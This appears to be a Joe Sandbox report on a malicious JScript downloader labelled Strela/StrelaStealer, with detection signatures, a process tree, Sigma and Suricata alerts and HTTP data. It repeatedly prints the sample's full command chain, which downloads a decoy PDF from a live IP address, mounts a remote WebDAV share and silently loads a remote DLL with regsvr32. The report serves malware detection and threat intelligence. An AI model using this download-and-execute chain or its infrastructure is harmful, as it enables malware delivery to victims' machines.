Edit tour

Windows Analysis Report
497524953288097419.js

Overview

General Information

Sample name:	497524953288097419.js
Analysis ID:	1588909
MD5:	38e0e5100d67b3131c8de66e18768f62
SHA1:	e2239e4c0fac7108965d8285e9046ac268e7785a
SHA256:	2a125e4eadfa231455b51ce1641a5ef2bd5142d20b9c4fc22b7d4cfcbd260db8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7608 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7700 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7752 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7940 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1568 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1616,i,10591066858158025420,16119010607379215334,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7956 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7984 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7312 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7608	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7752, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7752, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ProcessId: 7608, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7984, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ProcessId: 7608, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7752, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7956, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7984, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7312, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7956, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7984, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 7700, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:02:13.633541+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49707	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:02:16.700816+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:02:13.633541+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 497524953288097419.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 497524953288097419.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49707 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49708 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:02:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

